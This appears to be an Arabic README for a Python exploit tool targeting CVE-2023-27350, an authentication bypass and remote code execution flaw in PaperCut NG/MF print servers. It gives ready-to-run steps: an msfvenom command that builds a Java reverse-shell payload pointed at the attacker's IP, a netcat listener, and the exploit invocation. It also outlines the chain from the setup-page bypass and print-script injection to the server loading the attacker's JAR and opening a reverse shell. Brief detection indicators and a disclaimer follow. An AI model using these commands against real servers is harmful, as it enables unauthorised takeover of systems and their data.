
يستند هذا الاستغلال إلى CVE-2023-27350 وقد بُني على الاستغلال الأصلي بواسطة horizon3ai ووحدة Metasploit.
أداة استغلال مستقلة بلغة Python للثغرة الحرجة الخاصة بتجاوز المصادقة وتنفيذ الأوامر عن بعد في PaperCut NG/MF. درجة الخطورة CVSS 9.8.
تؤثر CVE-2023-27350 على PaperCut NG وMF في الإصدارات السابقة للإصدارات 20.1.7 و21.2.11 و22.0.9. تسمح الثغرة لمهاجم غير مصادَق بالوصول إلى نقطة النهاية /app?service=page/SetupCompleted — وهي صفحة إعداد كان من المفترض أن تكون قابلة للوصول فقط أثناء التثبيت الأولي — والحصول على جلسة إدارية صالحة بدون أي بيانات اعتماد.
بامتلاك صلاحيات المسؤول، يمكن للمهاجم تفعيل آلية كتابة النصوص البرمجية للطباعة في PaperCut وحقن كود عشوائي يُنفَّذ بواسطة JVM للخادم، مما يؤدي إلى تنفيذ أوامر عن بعد كامل (RCE) في سياق مستخدم الخدمة.
| الفرع | الإصدار المُصحَّح |
|---|---|
| 20.x | 20.1.7 |
| 21.x | 21.2.11 |
| 22.x | 22.0.9 |
الإصدارات 18.x والأقدم لم تحصل على تصحيح رسمي.
طُوِّر هذا الاستغلال بناءً على تحليل تنفيذين عامين:
Runtime.exec() مع سلسلة نصية عادية لتنفيذ الأوامرRuntime.exec(String) لا يعالج رموز shell الميتاشخصية (>&، |، 0>&1)، مما يجعل حمولات الـ reverse shell غير فعّالة. كما أن النص البرمجي يحدّد معرف الطابعة (l1001) بشكل ثابت ويتحقق من سلاسل النجاح باللغة الإنجليزية فقط، مما يجعله يفشل مع الإصدارات غير الإنجليزيةexploit/multi/http/papercut_ng_rceURLClassLoader، متجنباً أي اعتماد على shellncPython 3.x
requests
msfvenom (جزء من Metasploit Framework)
nc (netcat)
pip install requests
1. إنشاء حمولة JAR
msfvenom -p java/shell_reverse_tcp \
LHOST=<YOUR_IP> LPORT=<SHELL_PORT> \
-f jar -o payload.jar
2. تشغيل مستمع
nc -lvnp <SHELL_PORT>
3. تشغيل أداة الاستغلال
python exploit.py \
-u http://<TARGET>:9191 \
-j payload.jar \
-lh <YOUR_IP> \
-lp <HTTP_PORT> \
-rp <SHELL_PORT>
مثال:
python exploit.py \
-u http://192.168.1.100:9191 \
-j payload.jar \
-lh 192.168.1.10 \
-lp 9090 \
-rp 4444
1. تجاوز المصادقة عبر /app?service=page/SetupCompleted
↓
2. الحصول على JSESSIONID إداري بدون بيانات اعتماد
↓
3. اختيار [طابعة قالبية] (l1001)
↓
4. حقن نص RhinoJS في حقل النص البرمجي للطباعة
↓
5. النص البرمجي يُنشئ URLClassLoader يشير إلى خادم HTTP الخاص بنا
↓
6. JVM الخاص بـ PaperCut يحمِّل وينفذ payload.jar
↓
7. Reverse shell
/app?service=page/SetupCompleted بدون جلسة سابقةprint-and-device.script.enabled و print.script.sandboxed (الإصدارات >= 19)URLClassLoader بعنوان URL خارجي في سجلات JVMتم توفير أداة الاستغلال هذه للأغراض التعليمية والاستخدام المصرح به فقط (اختبار الاختراق، CTF، بيئات المختبرات). الاستخدام غير المصرح به ضد الأنظمة دون إذن صريح غير قانوني. المؤلف غير مسؤول عن أي استخدام خاطئ.
| المعامل | الوصف | القيمة الافتراضية |
|---|
-u / --url | رابط PaperCut الأساسي | مطلوب |
-j / --jar | مسار ملف payload.jar | مطلوب |
-lh / --lhost | عنوان IP الخاص بك (سيتصل الهدف بهذا العنوان) | مطلوب |
-lp / --lport | منفذ HTTP لتقديم ملف JAR | 9090 |
-rp / --rport | منفذ الـ reverse shell | 4444 |